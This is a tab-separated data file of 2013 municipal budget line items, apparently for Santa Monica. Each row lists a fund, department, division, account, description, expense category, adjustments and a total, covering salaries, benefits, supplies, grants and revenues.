3692	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2013	1030.0	0	0.0	0.0	0	0	0.0	10	0.0	0	0	0.0	1040.0
3693	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	1112.0	0	0.0	0.0	0	0	0.0	-221	0.0	0	0	0.0	891.0
3694	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	5826.0	0	0.0	0.0	0	0	0.0	-818	0.0	0	0	0.0	5008.0
3695	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579330.0	TRANSFER OUT TO HOUSING FUND	910.0	 Supplies and Expenses	2013	121090.0	0	0.0	0.0	0	0	0.0	350920	0.0	0	0	0.0	472010.0
3696	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561114.0	OPCC DAYBREAK-PROP A	808.0	 Supplies and Expenses	2013	1900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1900.0
3697	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-DISBLD (SMARS)	808.0	 Supplies and Expenses	2013	30000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30000.0
3698	B1	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-YOUTH	808.0	 Supplies and Expenses	2013	51600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	51600.0
3699	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	408570.0	BIKESHARE AQMD GRANT	610.0	Intergovernmental	2013	-500000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-500000.0
3700	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		UNEMPLOYMENT	810.0	Salaries and Wages	2013	160607.0	0	0.0	0.0	0	0	0.0	1606	0.0	0	0	0.0	162213.0
3701	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	190.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	190.0
3702	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
3703	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	406930.0	FED-TRAFFIC SIGNAL GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	-1184884.74	0	0	0.0	-1184884.74
3704	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	9982.0	0	0.0	0.0	0	0	0.0	100	0.0	0	0	0.0	10082.0
3705	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2013	19119.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19119.0
3706	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2013	9093.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9093.0
3707	B1	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		DCAP	808.0	Salaries and Wages	2013	792.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	792.0
3708	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	665627.0	0	0.0	0.0	0	0	0.0	6656	0.0	0	0	0.0	672283.0
3709	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		UNEMPLOYMENT	808.0	Salaries and Wages	2013	3078.0	0	0.0	0.0	0	0	0.0	31	0.0	0	0	0.0	3109.0
3710	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	2578709.0	0	0.0	0.0	0	0	0.0	25787	0.0	0	0	0.0	2604496.0
3711	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2013	18703.0	0	0.0	0.0	0	0	0.0	187	0.0	0	0	0.0	18890.0
3712	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	478631.0	0	0.0	0.0	0	0	0.0	4786	0.0	0	0	0.0	483417.0
3713	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2013	282283.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	282283.0
3714	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522160.0	TRANSFER STATION FEE	808.0	 Supplies and Expenses	2013	53000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	53000.0
3715	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2013	25398.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25398.0
3716	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	533120.0	SPECIAL EQUIP MAINT	808.0	 Supplies and Expenses	2013	178375.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	178375.0
3717	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2013	233800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	233800.0
3718	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2013	1250635.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1250635.0
3719	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	588500.0	MISCELLANEOUS EQUIPMENT	808.0	 Supplies and Expenses	2013	5100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5100.0
3720	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2013	60126.0	0	0.0	0.0	0	0	0.0	601	0.0	0	0	0.0	60727.0
3721	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-14057.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-14057.0
3722	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533210.0	BLDG OPER / CUST SUPPLIES	810.0	 Supplies and Expenses	2013	8325.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8325.0
3723	B1	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		BLDG/STR MAINT-COLO ESP	808.0	 Supplies and Expenses	2013	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
3724	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2013	30888.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30888.0
3725	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522130.0	UTILITIES - WATER	810.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
3726	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	578920.0	PROP A-MAINT (NOT LOCAL RETRN)	808.0	 Supplies and Expenses	2013	40000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	40000.0
3727	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400180.0	LOCAL PUBLIC SAFETY FUNDS	602.0	Property Taxes	2013	-927000.0	0	0.0	0.0	0	0	0.0	-48000	0.0	0	0	0.0	-975000.0
3728	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		ACCRUED INVESTMENT INCOME	659.0	Investment Income	2013	36469.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	36469.0
3729	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2013	97696.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	97696.0
3730	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511748.0	DENTAL	808.0	Salaries and Wages	2013	22690.0	0	0.0	-222.0	0	0	0.0	0	0.0	0	0	0.0	22468.0
3731	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522180.0	BANK FEES		 Supplies and Expenses	2013	2250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2250.0
3732	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2013	250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250.0
3733	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	9700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9700.0
3734	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2013	123657.0	0	0.0	0.0	0	0	0.0	1237	0.0	0	0	0.0	124894.0
3735	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522130.0	UTILITIES - WATER		 Supplies and Expenses	2013	9415.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9415.0
3736	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2013	16690.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16690.0
3737	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522620.0	RENT	844.0	 Supplies and Expenses	2013	141652.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	141652.0
3738	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522720.0	MILEAGE	820.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
3739	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
3740	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2013	3436.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3436.0
3741	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2013	2564.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2564.0
3742	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-8679.0	0	0.0	502.0	0	0	0.0	0	0.0	0	0	0.0	-8177.0
3743	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-21950.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-21950.0
3744	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-2674.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2674.0
3745	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-1953.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1953.0
3746	B1	IS	43	Gas Tax Fund	500	PUBLIC WORKS	402	ENGINEERING	400860.0	ST GAS TAX APPORTIONMENT	610.0	Intergovernmental	2013	-2395940.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2395940.0
3747	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409002.0	CHILDCARE-OCTOBER	612.0	Charges for Service	2013	-35467.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-35467.0
3748	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409003.0	CHILDCARE-NOVEMBER	612.0	Charges for Service	2013	-35467.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-35467.0
3749	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409032.0	CAMP SM-SPRING	612.0	Charges for Service	2013	-8733.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-8733.0
3750	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409051.0	MIDDLE SPORTS-FALL	612.0	Charges for Service	2013	-29056.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-29056.0
3751	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400190.0	BUSINESS LICENSE TAXES	606.0	Other Local Taxes	2013	-28244000.0	0	0.0	-14580.0	0	0	0.0	-341420	0.0	0	0	0.0	-28600000.0
3752	B1	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	401060.0	STATE SB 90 CLAIMS	610.0	Intergovernmental	2013	-22000.0	0	0.0	0.0	0	0	0.0	22000	0.0	0	0	0.0	0.0
3753	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522920.0	VEHICLES - REPAIRS	810.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
3754	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579007.0	DISCRET-ORD ELECTION FEES	804.0	 Supplies and Expenses	2013	6500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6500.0
3755	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	553012.0	OTS SOBRIETY CHECKPOINT 2013	806.0	 Supplies and Expenses	2013	0.0	0	5800.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5800.0
3756	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	0.0	0	0.0	0.0	943	0	0.0	9	0.0	0	0	0.0	952.0
3757	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	0.0	0	0.0	0.0	115	0	0.0	0	0.0	0	0	0.0	115.0
3758	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555210.0	TRAINING	808.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	450	0.0	0	0	0.0	450.0
3759	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	441	ALL OTHER TRANSACTIONS	566020.0	HOUSEHOLD HAZARDOUS WASTE GRAN	808.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	50000	0.0	0	0	0.0	50000.0
3760	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	441	ALL OTHER TRANSACTIONS	556036.0	USED OIL PAY PROG OPP4	808.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	25821	0.0	0	0	0.0	25821.0
3761	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522350.0	LOS AMIGOS MWD GRANT 2013	808.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	400000	0.0	400000.0
3762	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	ALL OTHER TRANSACTIONS	544480.0	CONGEST MIT & AIR QUALITY	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	47614.0	0	0	0.0	47614.0
3763	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	408590.0	SA COLLECTIVE BU COSTS	622.0	Other	2013	0.0	0	0.0	0.0	0	0	0.0	-312400	0.0	0	0	0.0	-312400.0
3764	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	408620.0	FTA NEW FREEDOM GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	-30132	0.0	0	0	0.0	-30132.0
3765	B1	IS	44	SCAQMD AB 2766 Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2013	0.0	0	0.0	0.0	0	0	0.0	-4000	0.0	0	0	0.0	-4000.0
3766	B1	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	406900.0	DIVCA REV FOR PEG FACILITIES	622.0	Other	2013	0.0	0	0.0	0.0	0	0	0.0	-260750	0.0	0	0	0.0	-260750.0
3767	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400290.0	PREF PARKING PERMITS	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-980000	0	0.0	-980000.0
3768	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400318.0	ATTENDANT PARKING-STRUCTRE 7&8	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-4100000	0	0.0	-4100000.0
3769	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404860.0	1630 5TH LOT 29 (5TH & COLORA)	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-45000	0	0.0	-45000.0
3770	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407710.0	MAIN LIBRARY PARKING STRUCTURE	608.0	Licenses and Permits	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-800000	0	0.0	-800000.0
3771	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555990.0	PARKING AGREEMENT W / MACERICH	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	2050000	0	0.0	2050000.0
3772	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407692.0	TAXI VEHICLE PERMIT FEES	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-78000	0	44400.0	-33600.0
3773	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
3774	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
3775	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577650.0	MAINTENANCE / GUARDS		 Supplies and Expenses	2013	62000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	62000.0
3776	B1	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511749.0	VISION	804.0	Salaries and Wages	2013	1636.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1636.0
3777	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2013	34445.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	34445.0
3778	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2013	108506.0	0	0.0	0.0	0	0	0.0	-4681	0.0	0	0	0.0	103825.0
3779	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		DCAP	816.0	Salaries and Wages	2013	912.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	912.0
3780	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	555060.0	PROFESSIONAL SERVICES	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	2500	0.0	0	0	0.0	2500.0
3781	B1	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577341.0	SECT 8 HSG-PORTS	816.0	 Supplies and Expenses	2013	88100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	88100.0
3782	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522610.0	EQUIPMENT RENTAL	804.0	 Supplies and Expenses	2013	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	4000	0.0	6500.0
3783	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	46215.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	46215.0
3784	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DCAP	804.0	Salaries and Wages	2013	144.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	144.0
3785	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	578670.0	COORDINATED COMMUNITY OUTREACH	804.0	 Supplies and Expenses	2013	154396.0	0	0.0	15000.0	0	0	0.0	0	0.0	0	-1000	0.0	168396.0
3786	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566810.0	TRANS & USE TAX-SMMUSD ALLOCAT	810.0	 Supplies and Expenses	2013	6800092.0	0	0.0	0.0	0	0	0.0	510008	0.0	0	0	0.0	7310100.0
3787	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2013	-19398.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-19398.0
3788	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2013	-193826.0	0	0.0	0.0	0	0	0.0	8058	0.0	0	0	0.0	-185768.0
3789	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2013	-38168.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-38168.0
3790	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-17249	0	0.0	-17249.0
3791	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2013	-36596.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-36596.0
3792	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2013	-50746.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-50746.0
3793	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2013	-101754.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-101754.0
3794	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	46215.0	0	0.0	0.0	0	0	0.0	3333	0.0	0	0	0.0	49548.0
3795	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511748.0	DENTAL	804.0	Salaries and Wages	2013	2657.0	0	0.0	0.0	0	0	0.0	300	0.0	0	0	0.0	2957.0
3796	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	33303.0	0	0.0	0.0	0	0	0.0	6718	0.0	0	0	0.0	40021.0
3797	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511490.0	OVERTIME	808.0	Salaries and Wages	2013	26035.0	0	0.0	0.0	0	0	0.0	260	0.0	0	0	0.0	26295.0
3798	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	746.0	0	0.0	0.0	0	0	0.0	63	0.0	0	0	0.0	809.0
3799	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	13527.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13527.0
3800	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555210.0	TRAINING	804.0	 Supplies and Expenses	2013	12000.0	0	0.0	0.0	0	0	0.0	175356	0.0	0	0	0.0	187356.0
3801	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	588090.0	FURNITURE & FURNISHINGS	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	30000	0.0	0	0	0.0	30000.0
3802	B1	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511711.0	MEDICARE-POLICE	804.0	Salaries and Wages	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
3803	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	83769.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	83769.0
3804	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2013	2640.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2640.0
3805	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE COMPLIANCE	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2013	-32981.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-32981.0
